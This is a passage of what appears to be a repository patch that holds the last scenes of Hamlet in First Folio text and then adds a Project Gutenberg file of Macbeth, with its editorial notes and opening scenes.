Daysies, and long Purples, +That liberall Shepheards giue a grosser name; +But our cold Maids doe Dead Mens Fingers call them: +There on the pendant boughes, her Coronet weeds +Clambring to hang; an enuious sliuer broke, +When downe the weedy Trophies, and her selfe, +Fell in the weeping Brooke, her cloathes spred wide, +And Mermaid-like, a while they bore her vp, +Which time she chaunted snatches of old tunes, +As one incapable of her owne distresse, +Or like a creature Natiue, and indued +Vnto that Element: but long it could not be, +Till that her garments, heauy with her drinke, +Pul'd the poore wretch from her melodious buy, +To muddy death + + Laer. Alas then, is she drown'd? + Queen. Drown'd, drown'd + + Laer. Too much of water hast thou poore Ophelia, +And therefore I forbid my teares: but yet +It is our tricke, Nature her custome holds, +Let shame say what it will; when these are gone +The woman will be out: Adue my Lord, +I haue a speech of fire, that faine would blaze, +But that this folly doubts it. +Enter. + + Kin. Let's follow, Gertrude: +How much I had to doe to calme his rage? +Now feare I this will giue it start againe; +Therefore let's follow. + +Exeunt. + +Enter two Clownes. + + Clown. Is she to bee buried in Christian buriall, that +wilfully seekes her owne saluation? + Other. I tell thee she is, and therefore make her Graue +straight, the Crowner hath sate on her, and finds it Christian +buriall + + Clo. How can that be, vnlesse she drowned her selfe in +her owne defence? + Other. Why 'tis found so + + Clo. It must be Se offendendo, it cannot bee else: for +heere lies the point; If I drowne my selfe wittingly, it argues +an Act: and an Act hath three branches. It is an +Act to doe and to performe; argall she drown'd her selfe +wittingly + + Other. Nay but heare you Goodman Deluer + + Clown. Giue me leaue; heere lies the water; good: +heere stands the man; good: If the man goe to this water +and drowne himselfe; it is will he nill he, he goes; +marke you that? But if the water come to him & drowne +him; hee drownes not himselfe. Argall, hee that is not +guilty of his owne death, shortens not his owne life + + Other. But is this law? + Clo. I marry is't, Crowners Quest Law + + Other. Will you ha the truth on't: if this had not +beene a Gentlewoman, shee should haue beene buried +out of Christian Buriall + + Clo. Why there thou say'st. And the more pitty that +great folke should haue countenance in this world to +drowne or hang themselues, more then their euen Christian. +Come, my Spade; there is no ancient Gentlemen, +but Gardiners, Ditchers and Graue-makers; they hold vp +Adams Profession + + Other. Was he a Gentleman? + Clo. He was the first that euer bore Armes + + Other. Why he had none + + Clo. What, ar't a Heathen? how doth thou vnderstand +the Scripture? the Scripture sayes Adam dig'd; +could hee digge without Armes? Ile put another question +to thee; if thou answerest me not to the purpose, confesse +thy selfe- + Other. Go too + + Clo. What is he that builds stronger then either the +Mason, the Shipwright, or the Carpenter? + Other. The Gallowes maker; for that Frame outliues a +thousand Tenants + + Clo. I like thy wit well in good faith, the Gallowes +does well; but how does it well? it does well to those +that doe ill: now, thou dost ill to say the Gallowes is +built stronger then the Church: Argall, the Gallowes +may doe well to thee. Too't againe, Come + + Other. Who builds stronger then a Mason, a Shipwright, +or a Carpenter? + Clo. I, tell me that, and vnyoake + + Other. Marry, now I can tell + + Clo. Too't + + Other. Masse, I cannot tell. +Enter Hamlet and Horatio a farre off. + + Clo. Cudgell thy braines no more about it; for your +dull Asse will not mend his pace with beating; and when +you are ask't this question next, say a Graue-maker: the +Houses that he makes, lasts till Doomesday: go, get thee +to Yaughan, fetch me a stoupe of Liquor. + +Sings. + +In youth when I did loue, did loue, +me thought it was very sweete: +To contract O the time for a my behoue, +O me thought there was nothing meete + + Ham. Ha's this fellow no feeling of his businesse, that +he sings at Graue-making? + Hor. Custome hath made it in him a property of easinesse + + Ham. 'Tis ee'n so; the hand of little Imployment hath +the daintier sense + + Clowne sings. But Age with his stealing steps +hath caught me in his clutch: +And hath shipped me intill the Land, +as if I had neuer beene such + + Ham. That Scull had a tongue in it, and could sing +once: how the knaue iowles it to th' grownd, as if it +were Caines Iaw-bone, that did the first murther: It +might be the Pate of a Polititian which this Asse o're Offices: +one that could circumuent God, might it not? + Hor. It might, my Lord + + Ham. Or of a Courtier, which could say, Good Morrow +sweet Lord: how dost thou, good Lord? this +might be my Lord such a one, that prais'd my Lord such +a ones Horse, when he meant to begge it; might it not? + Hor. I, my Lord + + Ham. Why ee'n so: and now my Lady Wormes, +Chaplesse, and knockt about the Mazard with a Sextons +Spade; heere's fine Reuolution, if wee had the tricke to +see't. Did these bones cost no more the breeding, but +to play at Loggets with 'em? mine ake to thinke +on't + + Clowne sings. A Pickhaxe and a Spade, a Spade, +for and a shrowding-Sheete: +O a Pit of Clay for to be made, +for such a Guest is meete + + Ham. There's another: why might not that bee the +Scull of a Lawyer? where be his Quiddits now? his +Quillets? his Cases? his Tenures, and his Tricks? why +doe's he suffer this rude knaue now to knocke him about +the Sconce with a dirty Shouell, and will not tell him of +his Action of Battery? hum. This fellow might be in's +time a great buyer of Land, with his Statutes, his Recognizances, +his Fines, his double Vouchers, his Recoueries: +Is this the fine of his Fines, and the recouery of his Recoueries, +to haue his fine Pate full of fine Dirt? will his +Vouchers vouch him no more of his Purchases, and double +ones too, then the length and breadth of a paire of +Indentures? the very Conueyances of his Lands will +hardly lye in this Boxe; and must the Inheritor himselfe +haue no more? ha? + Hor. Not a iot more, my Lord + + Ham. Is not Parchment made of Sheep-skinnes? + Hor. I my Lord, and of Calue-skinnes too + + Ham. They are Sheepe and Calues that seek out assurance +in that. I will speake to this fellow: whose Graue's +this Sir? + Clo. Mine Sir: +O a Pit of Clay for to be made, +for such a Guest is meete + + Ham. I thinke it be thine indeed: for thou liest in't + + Clo. You lye out on't Sir, and therefore it is not yours: +for my part, I doe not lye in't; and yet it is mine + + Ham. Thou dost lye in't, to be in't and say 'tis thine: +'tis for the dead, not for the quicke, therefore thou +lyest + + Clo. 'Tis a quicke lye Sir, 'twill away againe from me +to you + + Ham. What man dost thou digge it for? + Clo. For no man Sir + + Ham. What woman then? + Clo. For none neither + + Ham. Who is to be buried in't? + Clo. One that was a woman Sir; but rest her Soule, +shee's dead + + Ham. How absolute the knaue is? wee must speake +by the Carde, or equiuocation will vndoe vs: by the +Lord Horatio, these three yeares I haue taken note of it, +the Age is growne so picked, that the toe of the Pesant +comes so neere the heeles of our Courtier, hee galls his +Kibe. How long hast thou been a Graue-maker? + Clo. Of all the dayes i'th' yeare, I came too't that day +that our last King Hamlet o'recame Fortinbras + + Ham. How long is that since? + Clo. Cannot you tell that? euery foole can tell that: +It was the very day, that young Hamlet was borne, hee +that was mad, and sent into England + + Ham. I marry, why was he sent into England? + Clo. Why, because he was mad; hee shall recouer his +wits there; or if he do not, it's no great matter there + + Ham. Why? + Clo. 'Twill not be seene in him, there the men are as +mad as he + + Ham. How came he mad? + Clo. Very strangely they say + + Ham. How strangely? + Clo. Faith e'ene with loosing his wits + + Ham. Vpon what ground? + Clo. Why heere in Denmarke: I haue bin sixeteene +heere, man and Boy thirty yeares + + Ham. How long will a man lie i'th' earth ere he rot? + Clo. Ifaith, if he be not rotten before he die (as we haue +many pocky Coarses now adaies, that will scarce hold +the laying in) he will last you some eight yeare, or nine +yeare. A Tanner will last you nine yeare + + Ham. Why he, more then another? + Clo. Why sir, his hide is so tan'd with his Trade, that +he will keepe out water a great while. And your water, +is a sore Decayer of your horson dead body. Heres a Scull +now: this Scul, has laine in the earth three & twenty years + + Ham. Whose was it? + Clo. A whoreson mad Fellowes it was; +Whose doe you thinke it was? + Ham. Nay, I know not + + Clo. A pestilence on him for a mad Rogue, a pour'd a +Flaggon of Renish on my head once. This same Scull +Sir, this same Scull sir, was Yoricks Scull, the Kings Iester + + Ham. This? + Clo. E'ene that + + Ham. Let me see. Alas poore Yorick, I knew him Horatio, +a fellow of infinite Iest; of most excellent fancy, he +hath borne me on his backe a thousand times: And how +abhorred my Imagination is, my gorge rises at it. Heere +hung those lipps, that I haue kist I know not how oft. +Where be your Iibes now? Your Gambals? Your +Songs? Your flashes of Merriment that were wont to +set the Table on a Rore? No one now to mock your own +Ieering? Quite chopfalne? Now get you to my Ladies +Chamber, and tell her, let her paint an inch thicke, to this +fauour she must come. Make her laugh at that: prythee +Horatio tell me one thing + + Hor. What's that my Lord? + Ham. Dost thou thinke Alexander lookt o'this fashion +i'th' earth? + Hor. E'ene so + + Ham. And smelt so? Puh + + Hor. E'ene so, my Lord + + Ham. To what base vses we may returne Horatio. +Why may not Imagination trace the Noble dust of Alexander, +till he find it stopping a bunghole + + Hor. 'Twere to consider: to curiously to consider so + + Ham. No faith, not a iot. But to follow him thether +with modestie enough, & likeliehood to lead it; as thus. +Alexander died: Alexander was buried: Alexander returneth +into dust; the dust is earth; of earth we make +Lome, and why of that Lome (whereto he was conuerted) +might they not stopp a Beere-barrell? +Imperiall Caesar, dead and turn'd to clay, +Might stop a hole to keepe the winde away. +Oh, that that earth, which kept the world in awe, +Should patch a Wall, t' expell the winters flaw. +But soft, but soft, aside; heere comes the King. +Enter King, Queene, Laertes, and a Coffin, with Lords attendant. + +The Queene, the Courtiers. Who is that they follow, +And with such maimed rites? This doth betoken, +The Coarse they follow, did with disperate hand, +Fore do it owne life; 'twas some Estate. +Couch we a while, and mark + + Laer. What Cerimony else? + Ham. That is Laertes, a very Noble youth: Marke + + Laer. What Cerimony else? + Priest. Her Obsequies haue bin as farre inlarg'd. +As we haue warrantie, her death was doubtfull, +And but that great Command, o're-swaies the order, +She should in ground vnsanctified haue lodg'd, +Till the last Trumpet. For charitable praier, +Shardes, Flints, and Peebles, should be throwne on her: +Yet heere she is allowed her Virgin Rites, +Her Maiden strewments, and the bringing home +Of Bell and Buriall + + Laer. Must there no more be done ? + Priest. No more be done: +We should prophane the seruice of the dead, +To sing sage Requiem, and such rest to her +As to peace-parted Soules + + Laer. Lay her i'th' earth, +And from her faire and vnpolluted flesh, +May Violets spring. I tell thee (churlish Priest) +A Ministring Angell shall my Sister be, +When thou liest howling? + Ham. What, the faire Ophelia? + Queene. Sweets, to the sweet farewell. +I hop'd thou should'st haue bin my Hamlets wife: +I thought thy Bride-bed to haue deckt (sweet Maid) +And not t'haue strew'd thy Graue + + Laer. Oh terrible woer, +Fall ten times trebble, on that cursed head +Whose wicked deed, thy most Ingenious sence +Depriu'd thee of. Hold off the earth a while, +Till I haue caught her once more in mine armes: + +Leaps in the graue. + +Now pile your dust, vpon the quicke, and dead, +Till of this flat a Mountaine you haue made, +To o're top old Pelion, or the skyish head +Of blew Olympus + + Ham. What is he, whose griefes +Beares such an Emphasis? whose phrase of Sorrow +Coniure the wandring Starres, and makes them stand +Like wonder-wounded hearers? This is I, +Hamlet the Dane + + Laer. The deuill take thy soule + + Ham. Thou prai'st not well, +I prythee take thy fingers from my throat; +Sir though I am not Spleenatiue, and rash, +Yet haue I something in me dangerous, +Which let thy wisenesse feare. Away thy hand + + King. Pluck them asunder + + Qu. Hamlet, Hamlet + + Gen. Good my Lord be quiet + + Ham. Why I will fight with him vppon this Theme. +Vntill my eielids will no longer wag + + Qu. Oh my Sonne, what Theame? + Ham. I lou'd Ophelia; fortie thousand Brothers +Could not (with all there quantitie of Loue) +Make vp my summe. What wilt thou do for her? + King. Oh he is mad Laertes, + Qu. For loue of God forbeare him + + Ham. Come show me what thou'lt doe. +Woo't weepe? Woo't fight? Woo't teare thy selfe? +Woo't drinke vp Esile, eate a Crocodile? +Ile doo't. Dost thou come heere to whine; +To outface me with leaping in her Graue? +Be buried quicke with her, and so will I. +And if thou prate of Mountaines; let them throw +Millions of Akers on vs; till our ground +Sindging his pate against the burning Zone, +Make Ossa like a wart. Nay, and thou'lt mouth, +Ile rant as well as thou + + Kin. This is meere Madnesse: +And thus awhile the fit will worke on him: +Anon as patient as the female Doue, +When that her Golden Cuplet are disclos'd; +His silence will sit drooping + + Ham. Heare you Sir: +What is the reason that you vse me thus? +I lou'd you euer; but it is no matter: +Let Hercules himselfe doe what he may, +The Cat will Mew, and Dogge will haue his day. +Enter. + + Kin. I pray you good Horatio wait vpon him, +Strengthen your patience in our last nights speech, +Wee'l put the matter to the present push: +Good Gertrude set some watch ouer your Sonne, +This Graue shall haue a liuing Monument: +An houre of quiet shortly shall we see; +Till then, in patience our proceeding be. + +Exeunt. + +Enter Hamlet and Horatio + + Ham. So much for this Sir; now let me see the other, +You doe remember all the Circumstance + + Hor. Remember it my Lord? + Ham. Sir, in my heart there was a kinde of fighting, +That would not let me sleepe; me thought I lay +Worse then the mutines in the Bilboes, rashly, +(And praise be rashnesse for it) let vs know, +Our indiscretion sometimes serues vs well, +When our deare plots do paule, and that should teach vs, +There's a Diuinity that shapes our ends, +Rough-hew them how we will + + Hor. That is most certaine + + Ham. Vp from my Cabin +My sea-gowne scarft about me in the darke, +Grop'd I to finde out them; had my desire, +Finger'd their Packet, and in fine, withdrew +To mine owne roome againe, making so bold, +(My feares forgetting manners) to vnseale +Their grand Commission, where I found Horatio, +Oh royall knauery: An exact command, +Larded with many seuerall sorts of reason; +Importing Denmarks health, and Englands too, +With hoo, such Bugges and Goblins in my life, +That on the superuize no leasure bated, +No not to stay the grinding of the Axe, +My head should be struck off + + Hor. Ist possible? + Ham. Here's the Commission, read it at more leysure: +But wilt thou heare me how I did proceed? + Hor. I beseech you + + Ham. Being thus benetted round with Villaines, +Ere I could make a Prologue to my braines, +They had begun the Play. I sate me downe, +Deuis'd a new Commission, wrote it faire, +I once did hold it as our Statists doe, +A basenesse to write faire; and laboured much +How to forget that learning: but Sir now, +It did me Yeomans seriuce: wilt thou know +The effects of what I wrote? + Hor. I, good my Lord + + Ham. An earnest Coniuration from the King, +As England was his faithfull Tributary, +As loue betweene them, as the Palme should flourish, +As Peace should still her wheaten Garland weare, +And stand a Comma 'tweene their amities, +And many such like Assis of great charge, +That on the view and know of these Contents, +Without debatement further, more or lesse, +He should the bearers put to sodaine death, +Not shriuing time allowed + + Hor. How was this seal'd? + Ham. Why, euen in that was Heauen ordinate; +I had my fathers Signet in my Purse, +Which was the Modell of that Danish Seale: +Folded the Writ vp in forme of the other, +Subscrib'd it, gau't th' impression, plac't it safely, +The changeling neuer knowne: Now, the next day +Was our Sea Fight, and what to this was sement, +Thou know'st already + + Hor. So Guildensterne and Rosincrance, go too't + + Ham. Why man, they did make loue to this imployment +They are not neere my Conscience; their debate +Doth by their owne insinuation grow: +'Tis dangerous, when the baser nature comes +Betweene the passe, and fell incensed points +Of mighty opposites + + Hor. Why, what a King is this? + Ham. Does it not, thinkst thee, stand me now vpon +He that hath kil'd my King, and whor'd my Mother, +Popt in betweene th' election and my hopes, +Throwne out his Angle for my proper life, +And with such coozenage; is't not perfect conscience, +To quit him with this arme? And is't not to be damn'd +To let this Canker of our nature come +In further euill + + Hor. It must be shortly knowne to him from England +What is the issue of the businesse there + + Ham. It will be short, +The interim's mine, and a mans life's no more +Then to say one: but I am very sorry good Horatio, +That to Laertes I forgot my selfe; +For by the image of my Cause, I see +The Portraiture of his; Ile count his fauours: +But sure the brauery of his griefe did put me +Into a Towring passion + + Hor. Peace, who comes heere? +Enter young Osricke. + + Osr. Your Lordship is right welcome back to Denmarke + + Ham. I humbly thank you Sir, dost know this waterflie? + Hor. No my good Lord + + Ham. Thy state is the more gracious; for 'tis a vice to +know him: he hath much Land, and fertile; let a Beast +be Lord of Beasts, and his Crib shall stand at the Kings +Messe; 'tis a Chowgh; but as I saw spacious in the possession +of dirt + + Osr. Sweet Lord, if your friendship were at leysure, +I should impart a thing to you from his Maiesty + + Ham. I will receiue it with all diligence of spirit; put +your Bonet to his right vse, 'tis for the head + + Osr. I thanke your Lordship, 'tis very hot + + Ham. No, beleeue mee 'tis very cold, the winde is +Northerly + + Osr. It is indifferent cold my Lord indeed + + Ham. Mee thinkes it is very soultry, and hot for my +Complexion + + Osr. Exceedingly, my Lord, it is very soultry, as 'twere +I cannot tell how: but my Lord, his Maiesty bad me signifie +to you, that he ha's laid a great wager on your head: +Sir, this is the matter + + Ham. I beseech you remember + + Osr. Nay, in good faith, for mine ease in good faith: +Sir, you are not ignorant of what excellence Laertes is at +his weapon + + Ham. What's his weapon? + Osr. Rapier and dagger + + Ham. That's two of his weapons; but well + + Osr. The sir King ha's wag'd with him six Barbary horses, +against the which he impon'd as I take it, sixe French +Rapiers and Poniards, with their assignes, as Girdle, +Hangers or so: three of the Carriages infaith are very +deare to fancy, very responsiue to the hilts, most delicate +carriages, and of very liberall conceit + + Ham. What call you the Carriages? + Osr. The Carriages Sir, are the hangers + + Ham. The phrase would bee more Germaine to the +matter: If we could carry Cannon by our sides; I would +it might be Hangers till then; but on sixe Barbary Horses +against sixe French Swords: their Assignes, and three +liberall conceited Carriages, that's the French but against +the Danish; why is this impon'd as you call it? + Osr. The King Sir, hath laid that in a dozen passes betweene +you and him, hee shall not exceed you three hits; +He hath one twelue for mine, and that would come to +imediate tryall, if your Lordship would vouchsafe the +Answere + + Ham. How if I answere no? + Osr. I meane my Lord, the opposition of your person +in tryall + + Ham. Sir, I will walke heere in the Hall; if it please +his Maiestie, 'tis the breathing time of day with me; let +the Foyles bee brought, the Gentleman willing, and the +King hold his purpose; I will win for him if I can: if +not, Ile gaine nothing but my shame, and the odde hits + + Osr. Shall I redeliuer you ee'n so? + Ham. To this effect Sir, after what flourish your nature +will + + Osr. I commend my duty to your Lordship + + Ham. Yours, yours; hee does well to commend it +himselfe, there are no tongues else for's tongue + + Hor. This Lapwing runs away with the shell on his +head + + Ham. He did Complie with his Dugge before hee +suck't it: thus had he and mine more of the same Beauty +that I know the drossie age dotes on; only got the tune of +the time, and outward habite of encounter, a kinde of +yesty collection, which carries them through & through +the most fond and winnowed opinions; and doe but blow +them to their tryalls: the Bubbles are out + + Hor. You will lose this wager, my Lord + + Ham. I doe not thinke so, since he went into France, +I haue beene in continuall practice; I shall winne at the +oddes: but thou wouldest not thinke how all heere about +my heart: but it is no matter + + Hor. Nay, good my Lord + + Ham. It is but foolery; but it is such a kinde of +gain-giuing as would perhaps trouble a woman + + Hor. If your minde dislike any thing, obey. I will forestall +their repaire hither, and say you are not fit + + Ham. Not a whit, we defie Augury; there's a speciall +Prouidence in the fall of a sparrow. If it be now, 'tis not +to come: if it bee not to come, it will bee now: if it +be not now; yet it will come; the readinesse is all, since no +man ha's ought of what he leaues. What is't to leaue betimes? +Enter King, Queene, Laertes and Lords, with other Attendants with +Foyles, +and Gauntlets, a Table and Flagons of Wine on it. + + Kin. Come Hamlet, come, and take this hand from me + + Ham. Giue me your pardon Sir, I'ue done you wrong, +But pardon't as you are a Gentleman. +This presence knowes, +And you must needs haue heard how I am punisht +With sore distraction? What I haue done +That might your nature honour, and exception +Roughly awake, I heere proclaime was madnesse: +Was't Hamlet wrong'd Laertes? Neuer Hamlet. +If Hamlet from himselfe be tane away: +And when he's not himselfe, do's wrong Laertes, +Then Hamlet does it not, Hamlet denies it: +Who does it then? His Madnesse? If't be so, +Hamlet is of the Faction that is wrong'd, +His madnesse is poore Hamlets Enemy. +Sir, in this Audience, +Let my disclaiming from a purpos'd euill, +Free me so farre in your most generous thoughts, +That I haue shot mine Arrow o're the house, +And hurt my Mother + + Laer. I am satisfied in Nature, +Whose motiue in this case should stirre me most +To my Reuenge. But in my termes of Honor +I stand aloofe, and will no reconcilement, +Till by some elder Masters of knowne Honor, +I haue a voyce, and president of peace +To keepe my name vngorg'd. But till that time, +I do receiue your offer'd loue like loue, +And wil not wrong it + + Ham. I do embrace it freely, +And will this Brothers wager frankely play. +Giue vs the Foyles: Come on + + Laer. Come one for me + + Ham. Ile be your foile Laertes, in mine ignorance, +Your Skill shall like a Starre i'th' darkest night, +Sticke fiery off indeede + + Laer. You mocke me Sir + + Ham. No by this hand + + King. Giue them the Foyles yong Osricke, +Cousen Hamlet, you know the wager + + Ham. Verie well my Lord, +Your Grace hath laide the oddes a'th' weaker side + + King. I do not feare it, +I haue seene you both: +But since he is better'd, we haue therefore oddes + + Laer. This is too heauy, +Let me see another + + Ham. This likes me well, +These Foyles haue all a length. + +Prepare to play. + + Osricke. I my good Lord + + King. Set me the Stopes of wine vpon that Table: +If Hamlet giue the first, or second hit, +Or quit in answer of the third exchange, +Let all the Battlements their Ordinance fire, +The King shal drinke to Hamlets better breath, +And in the Cup an vnion shal he throw +Richer then that, which foure successiue Kings +In Denmarkes Crowne haue worne. +Giue me the Cups, +And let the Kettle to the Trumpets speake, +The Trumpet to the Cannoneer without, +The Cannons to the Heauens, the Heauen to Earth, +Now the King drinkes to Hamlet. Come, begin, +And you the Iudges beare a wary eye + + Ham. Come on sir + + Laer. Come on sir. + +They play. + + Ham. One + + Laer. No + + Ham. Iudgement + + Osr. A hit, a very palpable hit + + Laer. Well: againe + + King. Stay, giue me drinke. +Hamlet, this Pearle is thine, +Here's to thy health. Giue him the cup, + +Trumpets sound, and shot goes off. + + Ham. Ile play this bout first, set by a-while. +Come: Another hit; what say you? + Laer. A touch, a touch, I do confesse + + King. Our Sonne shall win + + Qu. He's fat, and scant of breath. +Heere's a Napkin, rub thy browes, +The Queene Carowses to thy fortune, Hamlet + + Ham. Good Madam + + King. Gertrude, do not drinke + + Qu. I will my Lord; +I pray you pardon me + + King. It is the poyson'd Cup, it is too late + + Ham. I dare not drinke yet Madam, +By and by + + Qu. Come, let me wipe thy face + + Laer. My Lord, Ile hit him now + + King. I do not thinke't + + Laer. And yet 'tis almost 'gainst my conscience + + Ham. Come for the third. +Laertes, you but dally, +I pray you passe with your best violence, +I am affear'd you make a wanton of me + + Laer. Say you so? Come on. + +Play. + + Osr. Nothing neither way + + Laer. Haue at you now. + +In scuffling they change Rapiers. + + King. Part them, they are incens'd + + Ham. Nay come, againe + + Osr. Looke to the Queene there hoa + + Hor. They bleed on both sides. How is't my Lord? + Osr. How is't Laertes? + Laer. Why as a Woodcocke +To mine Sprindge, Osricke, +I am iustly kill'd with mine owne Treacherie + + Ham. How does the Queene? + King. She sounds to see them bleede + + Qu. No, no, the drinke, the drinke. +Oh my deere Hamlet, the drinke, the drinke, +I am poyson'd + + Ham. Oh Villany! How? Let the doore be lock'd. +Treacherie, seeke it out + + Laer. It is heere Hamlet. +Hamlet, thou art slaine, +No Medicine in the world can do thee good. +In thee, there is not halfe an houre of life; +The Treacherous Instrument is in thy hand, +Vnbated and envenom'd: the foule practise +Hath turn'd it selfe on me. Loe, heere I lye, +Neuer to rise againe: Thy Mothers poyson'd: +I can no more, the King, the King's too blame + + Ham. The point envenom'd too, +Then venome to thy worke. + +Hurts the King. + + All. Treason, Treason + + King. O yet defend me Friends, I am but hurt + + Ham. Heere thou incestuous, murdrous, +Damned Dane, +Drinke off this Potion: Is thy Vnion heere? +Follow my Mother. + +King Dyes. + + Laer. He is iustly seru'd. +It is a poyson temp'red by himselfe: +Exchange forgiuenesse with me, Noble Hamlet; +Mine and my Fathers death come not vpon thee, +Nor thine on me. + +Dyes. + + Ham. Heauen make thee free of it, I follow thee. +I am dead Horatio, wretched Queene adiew, +You that looke pale, and tremble at this chance, +That are but Mutes or audience to this acte: +Had I but time (as this fell Sergeant death +Is strick'd in his Arrest) oh I could tell you. +But let it be: Horatio, I am dead, +Thou liu'st, report me and my causes right +To the vnsatisfied + + Hor. Neuer beleeue it. +I am more an Antike Roman then a Dane: +Heere's yet some Liquor left + + Ham. As th'art a man, giue me the Cup. +Let go, by Heauen Ile haue't. +Oh good Horatio, what a wounded name, +(Things standing thus vnknowne) shall liue behind me. +If thou did'st euer hold me in thy heart, +Absent thee from felicitie awhile, +And in this harsh world draw thy breath in paine, +To tell my Storie. + +March afarre off, and shout within. + +What warlike noyse is this? +Enter Osricke. + + Osr. Yong Fortinbras, with conquest come fro[m] Poland +To th' Ambassadors of England giues this warlike volly + + Ham. O I dye Horatio: +The potent poyson quite ore-crowes my spirit, +I cannot liue to heare the Newes from England, +But I do prophesie th' election lights +On Fortinbras, he ha's my dying voyce, +So tell him with the occurrents more and lesse, +Which haue solicited. The rest is silence. O, o, o, o. + +Dyes + + Hora. Now cracke a Noble heart: +Goodnight sweet Prince, +And flights of Angels sing thee to thy rest, +Why do's the Drumme come hither? +Enter Fortinbras and English Ambassador, with Drumme, Colours, +and +Attendants. + + Fortin. Where is this sight? + Hor. What is it ye would see; +If ought of woe, or wonder, cease your search + + For. His quarry cries on hauocke. Oh proud death, +What feast is toward in thine eternall Cell. +That thou so many Princes, at a shoote, +So bloodily hast strooke + + Amb. The sight is dismall, +And our affaires from England come too late, +The eares are senselesse that should giue vs hearing, +To tell him his command'ment is fulfill'd, +That Rosincrance and Guildensterne are dead: +Where should we haue our thankes? + Hor. Not from his mouth, +Had it th' abilitie of life to thanke you: +He neuer gaue command'ment for their death. +But since so iumpe vpon this bloodie question, +You from the Polake warres, and you from England +Are heere arriued. Giue order that these bodies +High on a stage be placed to the view, +And let me speake to th' yet vnknowing world, +How these things came about. So shall you heare +Of carnall, bloudie, and vnnaturall acts, +Of accidentall iudgements, casuall slaughters +Of death's put on by cunning, and forc'd cause, +And in this vpshot, purposes mistooke, +Falne on the Inuentors head. All this can I +Truly deliuer + + For. Let vs hast to heare it, +And call the Noblest to the Audience. +For me, with sorrow, I embrace my Fortune, +I haue some Rites of memory in this Kingdome, +Which are to claime, my vantage doth +Inuite me, + Hor. Of that I shall haue alwayes cause to speake, +And from his mouth +Whose voyce will draw on more: +But let this same be presently perform'd, +Euen whiles mens mindes are wilde, +Lest more mischance +On plots, and errors happen + + For. Let foure Captaines +Beare Hamlet like a Soldier to the Stage, +For he was likely, had he beene put on +To haue prou'd most royally: +And for his passage, +The Souldiours Musicke, and the rites of Warre +Speake lowdly for him. +Take vp the body; Such a sight as this +Becomes the Field, but heere shewes much amis. +Go, bid the Souldiers shoote. + +Exeunt. Marching: after the which, a Peale of Ordenance are shot +off. + + +FINIS. The tragedie of HAMLET, Prince of Denmarke. diff --git a/mccalum/shakespeare-macbeth.txt b/mccalum/shakespeare-macbeth.txt new file mode 100644 index 0000000..63acf18 --- /dev/null +++ b/mccalum/shakespeare-macbeth.txt @@ -0,0 +1,3667 @@ +***The Project Gutenberg's Etext of Shakespeare's First Folio*** +********************The Tragedie of Macbeth********************* + +This is our 3rd edition of most of these plays. See the index. + + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +Project Gutenberg's Etext of Shakespeare's The Tragedie of Macbeth + + + + + +Executive Director's Notes: + +In addition to the notes below, and so you will *NOT* think all +the spelling errors introduced by the printers of the time have +been corrected, here are the first few lines of Hamlet, as they +are presented herein: + + Barnardo. Who's there? + Fran. Nay answer me: Stand & vnfold +your selfe + + Bar. Long liue the King + +*** + +As I understand it, the printers often ran out of certain words +or letters they had often packed into a "cliche". . .this is the +original meaning of the term cliche. . .and thus, being unwilling +to unpack the cliches, and thus you will see some substitutions +that look very odd. . .such as the exchanges of u for v, v for u, +above. . .and you may wonder why they did it this way, presuming +Shakespeare did not actually write the play in this manner. . . . + +The answer is that they MAY have packed "liue" into a cliche at a +time when they were out of "v"'s. . .possibly having used "vv" in +place of some "w"'s, etc. This was a common practice of the day, +as print was still quite expensive, and they didn't want to spend +more on a wider selection of characters than they had to. + +You will find a lot of these kinds of "errors" in this text, as I +have mentioned in other times and places, many "scholars" have an +extreme attachment to these errors, and many have accorded them a +very high place in the "canon" of Shakespeare. My father read an +assortment of these made available to him by Cambridge University +in England for several months in a glass room constructed for the +purpose. To the best of my knowledge he read ALL those available +. . .in great detail. . .and determined from the various changes, +that Shakespeare most likely did not write in nearly as many of a +variety of errors we credit him for, even though he was in/famous +for signing his name with several different spellings. + +So, please take this into account when reading the comments below +made by our volunteer who prepared this file: you may see errors +that are "not" errors. . . . + +So. . .with this caveat. . .we have NOT changed the canon errors, +here is the Project Gutenberg Etext of Shakespeare's The Tragedie +of Macbeth. + +Michael S. Hart +Project Gutenberg +Executive Director + + +*** + + +Scanner's Notes: What this is and isn't. This was taken from +a copy of Shakespeare's first folio and it is as close as I can +come in ASCII to the printed text. + +The elongated S's have been changed to small s's and the +conjoined ae have been changed to ae. I have left the spelling, +punctuation, capitalization as close as possible to the +printed text. I have corrected some spelling mistakes (I have put +together a spelling dictionary devised from the spellings of the +Geneva Bible and Shakespeare's First Folio and have unified +spellings according to this template), typo's and expanded +abbreviations as I have come across them. Everything within +brackets [] is what I have added. So if you don't like that +you can delete everything within the brackets if you want a +purer Shakespeare. + +Another thing that you should be aware of is that there are textual +differences between various copies of the first folio. So there may +be differences (other than what I have mentioned above) between +this and other first folio editions. This is due to the printer's +habit of setting the type and running off a number of copies and +then proofing the printed copy and correcting the type and then +continuing the printing run. The proof run wasn't thrown away but +incorporated into the printed copies. This is just the way it is. +The text I have used was a composite of more than 30 different +First Folio editions' best pages. + +If you find any scanning errors, out and out typos, punctuation +errors, or if you disagree with my spelling choices please feel +free to email me those errors. I wish to make this the best +etext possible. My email address for right now are haradda@aol.com +and davidr@inconnect.com. I hope that you enjoy this. + +David Reed + +The Tragedie of Macbeth + +Actus Primus. Scoena Prima. + +Thunder and Lightning. Enter three Witches. + + 1. When shall we three meet againe? +In Thunder, Lightning, or in Raine? + 2. When the Hurley-burley's done, +When the Battaile's lost, and wonne + + 3. That will be ere the set of Sunne + + 1. Where the place? + 2. Vpon the Heath + + 3. There to meet with Macbeth + + 1. I come, Gray-Malkin + + All. Padock calls anon: faire is foule, and foule is faire, +Houer through the fogge and filthie ayre. + +Exeunt. + + +Scena Secunda. + +Alarum within. Enter King Malcome, Donalbaine, Lenox, with +attendants, +meeting a bleeding Captaine. + + King. What bloody man is that? he can report, +As seemeth by his plight, of the Reuolt +The newest state + + Mal. This is the Serieant, +Who like a good and hardie Souldier fought +'Gainst my Captiuitie: Haile braue friend; +Say to the King, the knowledge of the Broyle, +As thou didst leaue it + + Cap. Doubtfull it stood, +As two spent Swimmers, that doe cling together, +And choake their Art: The mercilesse Macdonwald +(Worthie to be a Rebell, for to that +The multiplying Villanies of Nature +Doe swarme vpon him) from the Westerne Isles +Of 